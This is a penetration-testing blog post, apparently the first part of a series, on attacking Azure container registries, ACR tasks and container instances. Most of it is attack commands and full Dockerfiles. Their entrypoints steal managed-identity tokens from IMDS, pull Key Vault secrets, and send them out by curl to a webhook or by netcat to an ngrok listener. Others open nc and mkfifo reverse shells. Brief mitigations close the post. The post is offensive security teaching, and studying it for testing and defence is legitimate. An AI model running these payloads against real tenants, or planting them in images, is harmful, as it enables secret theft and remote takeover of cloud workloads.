Skip to Main Content
July 14, 2026

Pandora’s Container Part 1: Unpacking Azure Container Security

Written by Justin Mahon
Cloud Penetration Testing Penetration Testing

Containers have become a foundational component of modern Azure environments. However, the attack surface introduced by services such as container registries, container apps, container instances, and container jobs is often underexplored. This blog series examines common attack techniques targeting Azure container services, including registries, secrets, jobs, keys, container instances, and container apps.

During testing, I found that a standard reverse shell approach for container image replacement did not work reliably. I developed an alternative technique that embeds IMDS token theft and secret exfiltration directly into a Dockerfile's entrypoint, eliminating the need for a persistent reverse shell connection. 

Again, another shoutout to the AzRTE course by HackTricks for their amazing content. The course covered a lot of material and helped me understand Azure container security, identity abuse, and more.

Pre-Requisites

This blog assumes you at least have reader rights over the container assets.  I have included a link to my GitHub repo with scripts you can run from CloudShell to enumerate these permissions.

https://github.com/OffsecPierogi/Azure

The following permissions are used for this demo:

  • Microsoft.ContainerRegistry/registries/read
  • Microsoft.ContainerRegistry/registries/write
  • Microsoft.ContainerRegistry/registries/listCredentials/action
  • Microsoft.ContainerRegistry/registries/pull/read
  • Microsoft.ContainerRegistry/registries/push/write
  • Microsoft.ContainerRegistry/registries/tasks/read
  • Microsoft.ContainerRegistry/registries/tasks/write
  • Microsoft.ContainerRegistry/registries/runs/write
  • Microsoft.ContainerRegistry/registries/tokens/read
  • Microsoft.ContainerRegistry/registries/tokens/write
  • Microsoft.ContainerRegistry/registries/scopeMaps/write
  • Microsoft.ContainerInstance/containerGroups/restart/action
  • Microsoft.ContainerInstance/containerGroups/write
  • Microsoft.ContainerRegistry/registries/generateCredentials/action

The following built-in roles in Azure RBAC have all or some of these permissions assigned to them by default.

  • Owner
  • Contributor
  • AcrPull
  • AcrPush
Figure 1 - Evil Kitty

Container Registries

Container Registries (ACR) store and distribute container images in Azure. They can be private (requiring auth) or public. As an attacker, a misconfigured registry lets you pull proprietary images, push backdoored containers or overwrite tags to hijack deployments.

Enabling Admin Keys & Secret Hunting

Container registries store and distribute container images. Admin keys allow you to log in as admin and conduct actions on behalf of one.

Required Permissions:

  • Microsoft.ContainerRegistry/registries/write
  • Microsoft.ContainerRegistry/registries/listCredentials/action
  • Microsoft.ContainerRegistry/registries/push/write

Full access can also be achieved through having the Contributor role assigned over the resources (used here in the blog) or ACRPush/ACRPull permissions in the data plane. If an attacker gets access to a registry, these are some of the things they can do.

Full Registry Access:

  • Pull any image - steal your proprietary container images and code
  • Push malicious images - inject backdoored containers into your registry
  • Delete images/repositories - wipe out your entire registry
  • List all repositories - reconnaissance on your infrastructure
  • Overwrite tags (like latest) - replace legitimate images with compromised ones

Identifying Roles and Registries

We sign in and begin enumerating our role assignments. We then enumerate what role our user is assigned over the registry asset.

az role assignment list \
--assignee $(az ad signed-in-user show --query id -o tsv) \
--scope $(az acr show -n <REGISTRY_NAME> --query id -o tsv) \
-o table
Figure 2 - Role Assignment Enum

We enumerate container registries within our tenant using the following az cli command:

az acr list
Figure 3 - Listing Registries

Checking if Admin User is Enabled

We then check whether an admin user is enabled for the registry, which can allow you to sign in with Docker.

az acr show --resource-group <resource-group> --name <ACRname> --query "adminUserEnabled"
Figure 4 - Admin User is Already Enabled

In the portal:

Figure 5 - Admin User Enabled

Enabling Admin User & Retrieving Passwords

If the admin user is not enabled, you can use the following command to enable it.

az acr update --resource-group $RESOURCE_GROUP --name $ACR_NAME --admin-enabled true

We then list credentials for the admin user since it was enabled.

Figure 6 - Listing Login Creds

We can then log in with Docker to list the images as the admin user we obtained credentials for.

docker login $ACR_NAME.azurecr.io -u <REGISTRY_NAME> -p <PASSWORD>
Figure 7 - Successful Docker Login

Pushing, Pulling and Tagging

Here are commands for pushing and tagging images with Docker.

docker tag <IMAGE> <ACR_NAME>.azurecr.io/<IMAGE>:<TAG> && docker push <ACR_NAME>.azurecr.io/<IMAGE>:<TAG>
Figure 8 - Pushing and Tagging

Listing images show that our image was successfully pushed to the registry.

docker images
Figure 9 - Successful Image Push (Admin Abuse)

The following command pulls the image from the registry that we pushed earlier.

docker pull $ACR_NAME.azurecr.io/<IMAGE>:<TAG>
Figure 10 - Pulling the Image

Dissecting Docker Images

Once we have a Docker image pulled down, we can create a Docker container from the image to look for secrets or use a tool like dive to look layer by layer.

docker create $ACR_NAME.azurecr.io/<IMAGE>:<TAG>

OR

dive $ACR_NAME.azurecr.io/<IMAGE>:<TAG>

OR

docker inspect $ACR_NAME.azurecr.io/<IMAGE>:<TAG>

This is a good way to do secret hunting for container images and find some goodies that could be used later in the cloud environment. Environment variables, suspicious files, and more are all fair game.

Modifying a Task With a Managed Identity

ACR Tasks are automated workflows that can build, push, and patch container images. Tasks can have managed identities attached, granting them access to other Azure resources like Key Vaults. If an attacker can modify or create tasks, they can leverage that identity to access secrets. This identity configuration is shown here in case anyone wants to replicate this in their lab.

ACR Tasks can have system-assigned or user-assigned managed identities. If an identity is present, modify the task to abuse those permissions. To check, run:

az acr task show --registry <REGISTRY_NAME> --name <TASK_NAME> 
--query identity

Required Permissions:

  • Microsoft.ContainerRegistry/registries/tasks/write
  • Microsoft.ContainerRegistry/registries/runs/write

Creating a Malicious YAML File

In this attack, you create a YAML file and specify what action you want the identity to perform. You then create a task or update it to execute the command.

A YAML file like the one below will be used to create the task to obtain a secret from a vault.

version: v1.1.0
secrets:
  - id: <SECRET_NAME>
    keyvault: https://<VAULT_NAME>.vault.azure.net/secrets/<SECRET_NAME>

steps:
  - command: bash echo 'Secret={{.Secrets.<SECRET_NAME>}}'

Running the Task

If a task is not already present over the registry, we will create one as shown below. Otherwise, you will modify the task that has the assigned identity.

az acr task create --registry <REGISTRY_NAME> --name <TASK_NAME> --file acr-task.yaml --context /dev/null --assign-identity
az acr task modify --registry <REGISTRY_NAME> --name <TASK_NAME> --file acr-task.yaml --context /dev/null
Figure 11 - Creating an Innocent Task

We will then manually run the task in order for it to carry out its function and obtain a secret from the vault.

az acr task run --registry <REGISTRY_NAME> --name <TASK_NAME>
Figure 12 - Successful Job Secret Exfil
Figure 13 - Identity Theft Awareness

Token Keys and Scope Maps

Token Keys allow you to generate tokens for repository access; the Azure description is as follows:

“A token along with a password lets you authenticate with the registry. A token is associated with a scope map which consists of permitted actions scoped to one or more repositories. Expiration time can be set for token credentials.”

Scope maps define granular permission sets for repository-level access. This is the underlying mechanism behind ACR tokens, as the token is associated with a scope map that determines what repositories and operations it can access.

Required Permissions:

  • Microsoft.ContainerRegistry/registries/tokens/write
  • Microsoft.ContainerRegistry/registries/scopeMaps/write
  • Microsoft.ContainerRegistry/registries/generateCredentials/action

Creating a Token

We begin by creating a token for the target registry, specifying a scope map that defines the permissions granted to the token. An example of a scope map and its permissions are shown below.

Figure 14 - Scope Map

We then create the token and log in to the registry with our new credentials.

az acr token create --name <TOKEN_NAME> --registry <ACR_NAME> --scope-map <SCOPE_MAP>
Figure 15 - Token Creation and Auth
docker login <ACR_NAME>.azurecr.io -u <TOKEN_NAME> -p <PASSWORD>
Figure 16 – Successful Docker Authentication

You can then pull images and rummage for secrets when you authenticate with the created credentials using a Docker login.

Figure 17 - Showing Created Tokens and Pulling Image

The below commands allow you to dive (literally) into the container image so you can enumerate secrets, env variables, and more.

dive $ACR_NAME.azurecr.io/<IMAGE>:<TAG>

container_id=$(docker create <REGISTRY_NAME>.azurecr.io/<IMAGE>:<TAG>)

docker cp $container_id:/ ./extracted_container
Successfully copied 154MB to /home/extracted_container

docker rm $container_id
0b8bebd775f53a4f0vbeb4c7d25fg4a5d6175fba18d56e217e33c39693b43f88

docker inspect <REGISTRY_NAME>.azurecr.io/<IMAGE>:<TAG> | jq '.[0].Config.Env[]' | grep 'secret'

Change Image

An attacker with these permissions could replace a legitimate container image with a malicious image under their control. By modifying the image or associated Dockerfile, the attacker may gain the ability to execute arbitrary code, harvest credentials, establish persistence, or exfiltrate sensitive data from the environment.

Permissions:

  • Microsoft.ContainerRegistry/registries/pull/read
  • Microsoft.ContainerRegistry/registries/push/write
  • Microsoft.ContainerInstance/containerGroups/restart/action
  • Microsoft.ContainerInstance/containerGroups/write

Before the demonstration, I highly encourage you to install ngrok or a similar tool in order to catch the reverse shell connection.

We sign in as the HSmith user, who has the necessary permissions over the container registry.

az account show
Figure 18 - HSmith User

Enumerating Registries

Running the following command, we can enumerate the target registry name, you can also specify a specific resource group.

az acr list
Figure 19 - Registry Enum

Now, with the registry name obtained, we can name repositories within the registry.

az acr repository list --name <REGISTRY_NAME>
az acr login --name <REGISTRY_NAME>
Figure 20 - Listing Repositories and Registry Login

Once logged in, you will want to pull an image you intend to modify for legit helpful purposes.

docker pull <IMAGE>
Figure 21 - Pulling the Image

“How it’s Supposed to Work”

From here, we will want to modify the newly pulled image and add a reverse shell to its functionality to gain RCE. You will create a Dockerfile and add the content you want, including your shell command. We will be using this:

Build a new image with a reverse shell:
FROM python:3.9-slim

# Install netcat and azure cli
RUN apt-get update && \
    apt-get install -y netcat-traditional

WORKDIR /app

# Add a reverse shell command that connects back to our system
CMD nc -e /bin/bash <ENTIRE NGROK URL>

Make sure you start your Netcat listener and ngrok.

Figure 22 - ngrok Active
ngrok tcp <DESIRED PORT>

You will then do this in a separate terminal:

nc -lvnp <SAME DESIRED PORT>

Once this is all running in the background, we can work our magic.

At this point, we will push the image to Docker and restart the container, after which we should get a connection back to our Netcat listener.

nano Dockerfile
docker build -t <IMAGE>:<TAG> <DIRECTORY>
Figure 23 - Pushing Innocent Image

For reasons related to how Docker handles the latest tag, I needed to retag the image. You generally shouldn’t run into this if you use a versioned (immutable) tag instead of latest, since latest can be reassigned to different image digests. We successfully pushed the container image to the registry.

docker push <REGISTRY_NAME>.azurecr.io/<IMAGE>:<TAG>
Figure 24 - Docker Push

Next, you would typically restart the container asset and gain a shell… but this didn’t happen for me in the course or in my lab.

Actual footage:

For some context:

Your shell may have not worked for a few reasons.

  • Firewall rules
  • Typo within the image/shell
  • The container instance doesn’t use the target registry or image
Figure 25 - Container Info

NOTE:

From there, the process would typically involve running a docker build, pushing it with docker push, and restarting the container. Next, you would get the shell. Unfortunately, this didn’t work for me in the HackTricks course (even with lab support), nor in my own Azure lab. I spent A LOT of time trying to recreate this but was unsuccessful.

So, this is a new way, with what I discovered. This method will abuse container permissions and the assigned identity permissions to the container to exfiltrate a vault secret to a webhook.

My Method for Exfiltration

Exfil Vault Secrets to Webhook

Permissions:

  • Microsoft.ContainerRegistry/registries/push/write
  • Microsoft.ContainerInstance/containerGroups/restart/action

After an absolute plethora of reading, research, testing, and head smashing, this is what I discovered. I ended up trying a lot of different shells and found one that was repeatedly successful for me.

Building a Custom Dockerfile

You start off building a Dockerfile for the image you plan to update. The following Dockerfile will run an update, create an /app directory, and gather secret information, including the final value, by getting a token as the system-assigned identity.

cat Dockerfile 
FROM python:3.9-slim

RUN apt-get update && \
    apt-get install -y bash curl jq ca-certificates && \
    rm -rf /var/lib/apt/lists/*

WORKDIR /app

RUN printf '%s\n' \
    '#!/bin/bash' \
    'echo "Container starting..."' \
    'echo "Requesting Managed Identity token..."' \
    '' \
    'TOKEN=$(curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" | jq -r .access_token)' \
    '' \
    'if [ -z "$TOKEN" ] || [ "$TOKEN" = "null" ]; then' \
    '  echo "Failed to get token"' \
    '  exit 1' \
    'fi' \
    '' \
    'echo "Fetching secret from Key Vault..."' \
    'SECRET=$(curl -s -H "Authorization: Bearer $TOKEN" https://<VAULT_NAME>.vault.azure.net/secrets/Image?api-version=7.4 | jq -r .value)' \
    '' \
    'if [ -z "$SECRET" ] || [ "$SECRET" = "null" ]; then' \
    '  echo "Failed to fetch secret"' \
    '  exit 1' \
    'fi' \
    '' \
    'echo "Sending secret to webhook..."' \
    'curl -X POST -H "Content-Type: application/json" -d "{\"secret\":\"$SECRET\"}" <WEBHOOK>' \
    '' \
    'echo "Done."' \
    'sleep 3600' \
    > /entrypoint.sh && \
    chmod +x /entrypoint.sh

ENTRYPOINT ["/entrypoint.sh"]
Figure 26 - Innocent Dockerfile

At this point, you’re going to want to build the image but specify a platform (I am on an M4 ARM-based Mac). We build it for the AMD64 Linux platform that the container is running, as shown below. If you don’t specify a platform, you may run into issues (ask me how I know).

We also run a multi-arch buildx command that provides multi-platform support. Once the image is built, we push it to the registry like normal.

docker buildx create --use --name multiarch
docker buildx build --platform <PLATFORM> -t <REGISTRY_NAME>.azurecr.io/<IMAGE>:<TAG> --load <DIRECTORY>
docker push <REGISTRY_NAME>.azurecr.io/<IMAGE>:<TAG>
Figure 27 - Building and Pushing

Restart the Container With the Modified Image

Restart the container (NOTE: the container must be using the image + tag that you’re building and pushing to apply your image).

az container restart --resource-group <RESOURCE_GROUP> --name <CONTAINER_NAME>
Figure 28 - Restarting Container

Anddddd voila. You can see the exfiltrated secret in our webhook and see the logs from the container of our malicious image going through its process.

Figure 29 - Successful Exfil
Figure 30 – Container Logs of the Exfil

Exfil to Listener With ngrok

We follow the same process, but instead of a webhook, we specify our ngrok address that will forward traffic to a local port. Restart the container with a listener in a separate terminal.

Below is the secret value intercepted with your Netcat listener.

docker buildx build --platform <PLATFORM> -t <REGISTRY_NAME>.azurecr.io/<IMAGE>:<TAG> --load <DIRECTORY>
az container restart --resource-group <RESOURCE_GROUP> --name <CONTAINER_NAME>
Figure 31 - Exfil to Netcat Listener

This Dockerfile will exfiltrate the secret to your listener.

FROM python:3.9-slim

RUN apt-get update && \
    apt-get install -y bash curl jq ca-certificates netcat-openbsd && \
    rm -rf /var/lib/apt/lists/*

WORKDIR /app

RUN printf '%s\n' \
    '#!/bin/bash' \
    'echo "Container starting..."' \
    'echo "Requesting Managed Identity token..."' \
    '' \
    'TOKEN=$(curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://vault.azure.net" | jq -r .access_token)' \
    '' \
    'if [ -z "$TOKEN" ] || [ "$TOKEN" = "null" ]; then' \
    '  echo "Failed to get token"' \
    '  exit 1' \
    'fi' \
    '' \
    'echo "Token acquired successfully"' \
    'echo "Fetching secret from Key Vault..."' \
    'SECRET=$(curl -s -H "Authorization: Bearer $TOKEN" https://<VAULT_NAME>.vault.azure.net/secrets/Image?api-version=7.4 | jq -r .value)' \
    '' \
    'if [ -z "$SECRET" ] || [ "$SECRET" = "null" ]; then' \
    '  echo "Failed to fetch secret"' \
    '  exit 1' \
    'fi' \
    '' \
    'echo "Secret retrieved successfully"' \
    'echo "Sending secret via netcat to ngrok..."' \
    'echo "Secret: $SECRET" | Nc <NGROK_URL><NGROK_PORT> \
    '' \
    'echo "Data sent!"' \
    'sleep 3600' \
    > /entrypoint.sh && \
    chmod +x /entrypoint.sh

ENTRYPOINT ["/entrypoint.sh"]

Reverse Shell With ngrok

This follows the same process but establishes an actual connection to the compromised container. We specify a shell in the Dockerfile, build, and then push it to the registry. Once this is complete, we restart the container so it pulls the malicious image.

We get a reverse shell and compromise the host after a 30-second wait!

Figure 32 - Successful Reverse Shell in Container

Reverse shell Dockerfile:

cat Dockerfile 
FROM python:3.9-slim

RUN apt-get update && \
    apt-get install -y bash netcat-openbsd && \
    rm -rf /var/lib/apt/lists/*

WORKDIR /app

RUN printf '%s\n' \
    '#!/bin/bash' \
    'echo "Container starting..."' \
    'echo "Establishing persistent reverse shell..."' \
    '' \
    'while true; do' \
    '  rm -f /tmp/f; mkfifo /tmp/f' \
    '  cat /tmp/f | /bin/bash -i 2>&1 | nc <NGROK_URL> <NGROK_PORT> > /tmp/f' \
    '  echo "Connection lost, retrying in 5 seconds..."' \
    '  sleep 5' \
    'done' \
    > /entrypoint.sh && \
    chmod +x /entrypoint.sh

ENTRYPOINT ["/entrypoint.sh"]

As you can see, the possibilities of ACI abuse are endless. You can exfiltrate secrets to your own listener or a webhook and even gain a shell back to your own machine.

Figure 33 - Log of one of our Exfils

Mitigations

Here are some recommendations on how to reduce this risk and prevent an attacker from getting permissions or roles like these.

  • Enforce least privilege to ensure broad roles like Contributor are rarely or never assigned. Try to scope to only required actions, or use PIM/JIT (Just-In-Time) access. This makes the role or permissions expire after a specified time period.
  • Use resource-level scoping specific to container assets and not subscription-wide.
  • Enforce MFA + Conditional Access policies to limit who gains access. Restrict access to specific IP address ranges or location-based authentication.

I hope this was a twist of fun for you to read and learn from. I also hope this helps the offensive professionals out there with cloud testing, along with defenders and what to watch out for.

Stay tuned for Part 2—coming soon!